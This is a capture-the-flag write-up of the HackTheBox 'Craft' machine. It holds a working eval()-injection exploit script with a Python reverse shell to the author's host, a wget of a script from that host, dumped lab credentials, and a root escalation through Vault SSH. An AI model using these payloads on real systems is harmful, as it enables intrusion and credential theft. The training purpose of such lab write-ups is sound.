Hackthebox – Craft

Initial recon

After first starting with some port scans, nothing particular popped up so I just started browsing through the first pages on Craft.

This immediately provided me with two new hostnames (gogs and api). Since IP addresses can contain multiple (virtual) hosts, I decided to add the hostnames to my /etc/hosts file.

10.10.10.110 gogs.craft.htb
10.10.10.110 api.craft.htb
10.10.10.110 craft.htb

Browsing to the first link (gogs), I was immediately interested due to the availability of source code for the craft_api.

Clone the repository and ignore SSL Errors

Since I have been playing around with this before, I decided to clone the repo to my kali machine so that I could browse it at my own leisure (using the command line instead of the web browser)

root@kalivm:~/Craft# git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git 
Cloning into 'craft-api'...
remote: Enumerating objects: 45, done.
remote: Counting objects: 100% (45/45), done.
remote: Compressing objects: 100% (41/41), done.
remote: Total 45 (delta 10), reused 0 (delta 0)
Unpacking objects: 100% (45/45), done.

Using the tricks learned on OvertheWire’s Bandit, I was able to check the git logs using git log -p and find an interesting line of removed code.

-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)

API authentication and requests

So now we have a username and password for user dinesh, after trying that on the GOGS portal, it appeared to work. In addition, when trying these credentials on the api portal, the appeared to work too and provide a token. (One of the things I recognize from HackTheBox’s Luke)

Some further browsing through the source code of the portal showed the latest commit being “Add fix for bogus ABV values”. Following the breadcrumbs on the GOGS portal showed the added code including

if eval('%s > 1' % request.json['abv']):
   return "ABV must be a decimal value less than 1.0", 400

One thing I did learn by now, is not to use an eval() function with user input, as that may lead to code execution. One other thing provided was a very nice test.py script which first requests a valid token.

After the request, it can then work with the API to add a new entry, and at the same time check through the eval() function if the provided ABV value is less than 1.00. Some fiddling around led to a Code Execution vulnerability being exploitable with a Reverse Shell back to my system.

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '''__import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.110",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")'''
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

browsing through some of the additional files (including the settings.py) gave some additional credentials which were not useful, but it also contained the reference to the database server called ‘db’ which appeared to reside on another host (172.20.0.6)

root@kalivm:~/Craft# nc -nlvp 9000
Listening on [0.0.0.0] (family 2, port 9000)
Connection from 10.10.10.110 32826 received!
/bin/sh: can't access tty; job control turned off
/opt/app # ping db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.120 ms

User-level Post-exploitation

As the provided shell was not an interactive shell, direct access from the command line was not possible but editing (on a remote system) and ‘wget’-ing the dbtest.py file to query the DB Was.

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
       sql = "select * from user"
       cursor.execute(sql)
       results = cursor.fetchall()
       for res in results:
          print(res)

finally:
    connection.close()
/opt/app # wget 10.10.14.110:8000/getshell.py
Connecting to 10.10.14.110:8000 (10.10.14.110:8000)
getshell.py          100% |********************************|   660  0:00:00 ETA

/opt/app # python getshell.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

With these new found credentials, I tried again to login using SSH which did not work, so I tried the GOGS portal again and for user gilfoyle, the credentials worked and provided access to another private (and thus up until now hidden) repository.

This repository provided access to SSH private keys and after trying those on the machine, it only asked for the private key’s password which apparently was the same as Gilfoyle’s GOGS password. After logging in, it was quite some fiddling with hashicorp’s vault command to figure out what can be done with it.

root@kalivm:~/Craft# ssh -i craftkey gilfoyle@10.10.10.110


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'craftkey': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 21 06:19:19 2019 from 10.10.15.86
gilfoyle@craft:~$ cat user.txt
bbf4b0cadf<noflag>914c9cd5a612d4
gilfoyle@craft:~$ vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 4c360787-9b60-9c68-d92e-93710c6ae176


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 21 06:44:16 2019 from 127.0.0.1
root@craft:~# cat root.txt
831d64ef<noflag>f795daae28a11591

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.